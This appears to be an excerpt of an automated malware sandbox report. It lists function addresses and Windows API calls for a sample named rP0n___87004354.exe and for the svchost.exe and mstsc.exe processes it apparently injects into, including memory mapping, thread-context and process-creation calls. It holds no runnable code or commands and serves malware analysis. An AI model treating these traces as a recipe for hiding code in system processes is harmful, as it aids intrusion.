Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F72DB0 NtEnumerateKey,	1_2_02F72DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F72D30 NtUnmapViewOfSection,	1_2_02F72D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F72D10 NtMapViewOfSection,	1_2_02F72D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F72D00 NtSetInformationFile,	1_2_02F72D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F73090 NtSetValueKey,	1_2_02F73090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F73010 NtOpenDirectoryObject,	1_2_02F73010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F739B0 NtGetContextThread,	1_2_02F739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F73D70 NtOpenThread,	1_2_02F73D70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F73D10 NtOpenProcessToken,	1_2_02F73D10
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04584650 NtSuspendThread,LdrInitializeThunk,	3_2_04584650
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04584340 NtSetContextThread,LdrInitializeThunk,	3_2_04584340
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04582C70 NtFreeVirtualMemory,LdrInitializeThunk,	3_2_04582C70
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04582C60 NtCreateKey,LdrInitializeThunk,	3_2_04582C60
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04582CA0 NtQueryInformationToken,LdrInitializeThunk,	3_2_04582CA0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04582D10 NtMapViewOfSection,LdrInitializeThunk,	3_2_04582D10
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04582D30 NtUnmapViewOfSection,LdrInitializeThunk,	3_2_04582D30
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04582DD0 NtDelayExecution,LdrInitializeThunk,	3_2_04582DD0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04582DF0 NtQuerySystemInformation,LdrInitializeThunk,	3_2_04582DF0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04582EE0 NtQueueApcThread,LdrInitializeThunk,	3_2_04582EE0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04582E80 NtReadVirtualMemory,LdrInitializeThunk,	3_2_04582E80
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04582F30 NtCreateSection,LdrInitializeThunk,	3_2_04582F30
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04582FE0 NtCreateFile,LdrInitializeThunk,	3_2_04582FE0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04582FB0 NtResumeThread,LdrInitializeThunk,	3_2_04582FB0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04582AD0 NtReadFile,LdrInitializeThunk,	3_2_04582AD0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04582AF0 NtWriteFile,LdrInitializeThunk,	3_2_04582AF0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04582B60 NtClose,LdrInitializeThunk,	3_2_04582B60
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04582BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	3_2_04582BF0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04582BE0 NtQueryValueKey,LdrInitializeThunk,	3_2_04582BE0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04582BA0 NtEnumerateValueKey,LdrInitializeThunk,	3_2_04582BA0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045835C0 NtCreateMutant,LdrInitializeThunk,	3_2_045835C0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045839B0 NtGetContextThread,LdrInitializeThunk,	3_2_045839B0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04582C00 NtQueryInformationProcess,	3_2_04582C00
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04582CC0 NtQueryVirtualMemory,	3_2_04582CC0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04582CF0 NtOpenProcess,	3_2_04582CF0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04582D00 NtSetInformationFile,	3_2_04582D00
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04582DB0 NtEnumerateKey,	3_2_04582DB0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04582E30 NtWriteVirtualMemory,	3_2_04582E30
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04582EA0 NtAdjustPrivilegesToken,	3_2_04582EA0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04582F60 NtCreateProcessEx,	3_2_04582F60
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04582F90 NtProtectVirtualMemory,	3_2_04582F90
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04582FA0 NtQuerySection,	3_2_04582FA0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04582AB0 NtWaitForSingleObject,	3_2_04582AB0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04582B80 NtQueryInformationFile,	3_2_04582B80
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04583010 NtOpenDirectoryObject,	3_2_04583010
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04583090 NtSetValueKey,	3_2_04583090
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04583D70 NtOpenThread,	3_2_04583D70
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04583D10 NtOpenProcessToken,	3_2_04583D10
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_00188EE0 NtCreateFile,	3_2_00188EE0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_00189040 NtReadFile,	3_2_00189040
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_00189130 NtDeleteFile,	3_2_00189130
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_001891D0 NtClose,	3_2_001891D0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_00189330 NtAllocateVirtualMemory,	3_2_00189330

Source: C:\Users\user\Desktop\rP0n___87004354.exe

Code function: 0_2_007DA279: GetFullPathNameW,__swprintf,CreateDirectoryW,CreateFileW,_memset,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,

0_2_007DA279

Source: C:\Users\user\Desktop\rP0n___87004354.exe

Code function: 0_2_007C8638 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_007C8638

Source: C:\Users\user\Desktop\rP0n___87004354.exe

Code function: 0_2_007D5264 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

0_2_007D5264

Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_0077E800	0_2_0077E800
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_0079DAF5	0_2_0079DAF5
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_0077E060	0_2_0077E060
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_00784140	0_2_00784140
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_00792345	0_2_00792345
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_007F0465	0_2_007F0465
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_007A6452	0_2_007A6452
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_007A25AE	0_2_007A25AE
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_0079277A	0_2_0079277A
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_00786841	0_2_00786841
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_007F08E2	0_2_007F08E2
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_00788968	0_2_00788968
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_007D8932	0_2_007D8932
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_007CE928	0_2_007CE928
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_007A890F	0_2_007A890F
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_007A69C4	0_2_007A69C4
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_0079CCA1	0_2_0079CCA1
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_007A6F36	0_2_007A6F36
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_007870FE	0_2_007870FE
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_00783190	0_2_00783190
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_00771287	0_2_00771287
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_0079F359	0_2_0079F359
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_00793307	0_2_00793307
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_00791604	0_2_00791604
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_00785680	0_2_00785680
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_00797813	0_2_00797813
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_007858C0	0_2_007858C0
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_00791AF8	0_2_00791AF8
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_007A9C35	0_2_007A9C35
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_0077FE40	0_2_0077FE40
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_007F7E0D	0_2_007F7E0D
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_0079BF26	0_2_0079BF26
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_00791F10	0_2_00791F10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_024A8563	1_2_024A8563
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_024BEB33	1_2_024BEB33
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_024A0023	1_2_024A0023
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0249E0A3	1_2_0249E0A3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02493109	1_2_02493109
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02493110	1_2_02493110
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02492670	1_2_02492670
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0249FE03	1_2_0249FE03
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_024A6743	1_2_024A6743
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0249FDFC	1_2_0249FDFC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FC02C0	1_2_02FC02C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FE0274	1_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030003E6	1_2_030003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F4E3F0	1_2_02F4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FFA352	1_2_02FFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030001AA	1_2_030001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FD2000	1_2_02FD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FF81CC	1_2_02FF81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FF41A2	1_2_02FF41A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FC8158	1_2_02FC8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FDA118	1_2_02FDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F30100	1_2_02F30100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F5C6E0	1_2_02F5C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F3C7C0	1_2_02F3C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F40770	1_2_02F40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F64750	1_2_02F64750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FEE4F6	1_2_02FEE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03000591	1_2_03000591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FF2446	1_2_02FF2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FE4420	1_2_02FE4420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F40535	1_2_02F40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F3EA80	1_2_02F3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FF6BD7	1_2_02FF6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FFAB40	1_2_02FFAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F6E8F0	1_2_02F6E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F268B8	1_2_02F268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0300A9A6	1_2_0300A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F4A840	1_2_02F4A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F42840	1_2_02F42840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F429A0	1_2_02F429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F56962	1_2_02F56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FFEEDB	1_2_02FFEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F52E90	1_2_02F52E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FFCE93	1_2_02FFCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F40E59	1_2_02F40E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FFEE26	1_2_02FFEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F32FC8	1_2_02F32FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FBEFA0	1_2_02FBEFA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FB4F40	1_2_02FB4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F60F30	1_2_02F60F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FE2F30	1_2_02FE2F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F82F28	1_2_02F82F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F30CF2	1_2_02F30CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FE0CB5	1_2_02FE0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F40C00	1_2_02F40C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F3ADE0	1_2_02F3ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F58DBF	1_2_02F58DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FDCD1F	1_2_02FDCD1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F4AD00	1_2_02F4AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F5D2F0	1_2_02F5D2F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FE12ED	1_2_02FE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F5B2C0	1_2_02F5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F452A0	1_2_02F452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F8739A	1_2_02F8739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F2D34C	1_2_02F2D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FF132D	1_2_02FF132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FF70E9	1_2_02FF70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FFF0E0	1_2_02FFF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FEF0CC	1_2_02FEF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F470C0	1_2_02F470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0300B16B	1_2_0300B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F4B1B0	1_2_02F4B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F2F172	1_2_02F2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F7516C	1_2_02F7516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FF16CC	1_2_02FF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F85630	1_2_02F85630
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FFF7B0	1_2_02FFF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F31460	1_2_02F31460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FFF43F	1_2_02FFF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030095C3	1_2_030095C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FDD5B0	1_2_02FDD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FF7571	1_2_02FF7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FEDAC6	1_2_02FEDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FDDAAC	1_2_02FDDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F85AA0	1_2_02F85AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FE1AA3	1_2_02FE1AA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FB3A6C	1_2_02FB3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FFFA49	1_2_02FFFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FF7A46	1_2_02FF7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FB5BF0	1_2_02FB5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F7DBF9	1_2_02F7DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F5FB80	1_2_02F5FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FFFB76	1_2_02FFFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F438E0	1_2_02F438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FAD800	1_2_02FAD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F49950	1_2_02F49950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F5B950	1_2_02F5B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FD5910	1_2_02FD5910
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F49EB0	1_2_02F49EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F03FD2	1_2_02F03FD2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F03FD5	1_2_02F03FD5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FFFFB1	1_2_02FFFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F41F92	1_2_02F41F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FFFF09	1_2_02FFFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FFFCF2	1_2_02FFFCF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FB9C32	1_2_02FB9C32
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F5FDC0	1_2_02F5FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FF7D73	1_2_02FF7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FF1D5A	1_2_02FF1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F43D40	1_2_02F43D40
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04602446	3_2_04602446
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045F4420	3_2_045F4420
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045FE4F6	3_2_045FE4F6
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04550535	3_2_04550535
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04610591	3_2_04610591
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0456C6E0	3_2_0456C6E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04574750	3_2_04574750
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04550770	3_2_04550770
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0454C7C0	3_2_0454C7C0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045E2000	3_2_045E2000
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045D8158	3_2_045D8158
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045EA118	3_2_045EA118
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04540100	3_2_04540100
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_046081CC	3_2_046081CC
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_046041A2	3_2_046041A2
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_046101AA	3_2_046101AA
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045F0274	3_2_045F0274
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045D02C0	3_2_045D02C0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0460A352	3_2_0460A352
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_046103E6	3_2_046103E6
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0455E3F0	3_2_0455E3F0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04550C00	3_2_04550C00
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04540CF2	3_2_04540CF2
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045F0CB5	3_2_045F0CB5
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045ECD1F	3_2_045ECD1F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0455AD00	3_2_0455AD00
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0454ADE0	3_2_0454ADE0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04568DBF	3_2_04568DBF
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04550E59	3_2_04550E59
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0460EE26	3_2_0460EE26
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0460EEDB	3_2_0460EEDB
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04562E90	3_2_04562E90
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0460CE93	3_2_0460CE93
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045C4F40	3_2_045C4F40
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04570F30	3_2_04570F30
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045F2F30	3_2_045F2F30
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04592F28	3_2_04592F28
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04542FC8	3_2_04542FC8
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045CEFA0	3_2_045CEFA0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04552840	3_2_04552840
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0455A840	3_2_0455A840
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0457E8F0	3_2_0457E8F0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045368B8	3_2_045368B8
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04566962	3_2_04566962
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0461A9A6	3_2_0461A9A6
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045529A0	3_2_045529A0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0454EA80	3_2_0454EA80
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0460AB40	3_2_0460AB40
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04606BD7	3_2_04606BD7
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04541460	3_2_04541460
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0460F43F	3_2_0460F43F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04607571	3_2_04607571
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_046195C3	3_2_046195C3
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045ED5B0	3_2_045ED5B0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04595630	3_2_04595630
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_046016CC	3_2_046016CC
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0460F7B0	3_2_0460F7B0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0460F0E0	3_2_0460F0E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_046070E9	3_2_046070E9
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045FF0CC	3_2_045FF0CC
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045570C0	3_2_045570C0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0461B16B	3_2_0461B16B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0453F172	3_2_0453F172
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0458516C	3_2_0458516C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0455B1B0	3_2_0455B1B0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0456B2C0	3_2_0456B2C0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0456D2F0	3_2_0456D2F0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045F12ED	3_2_045F12ED
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045552A0	3_2_045552A0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0453D34C	3_2_0453D34C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0460132D	3_2_0460132D
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0459739A	3_2_0459739A
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045C9C32	3_2_045C9C32
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0460FCF2	3_2_0460FCF2
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04607D73	3_2_04607D73
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04553D40	3_2_04553D40
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04601D5A	3_2_04601D5A
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0456FDC0	3_2_0456FDC0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04559EB0	3_2_04559EB0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0460FF09	3_2_0460FF09
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04513FD2	3_2_04513FD2
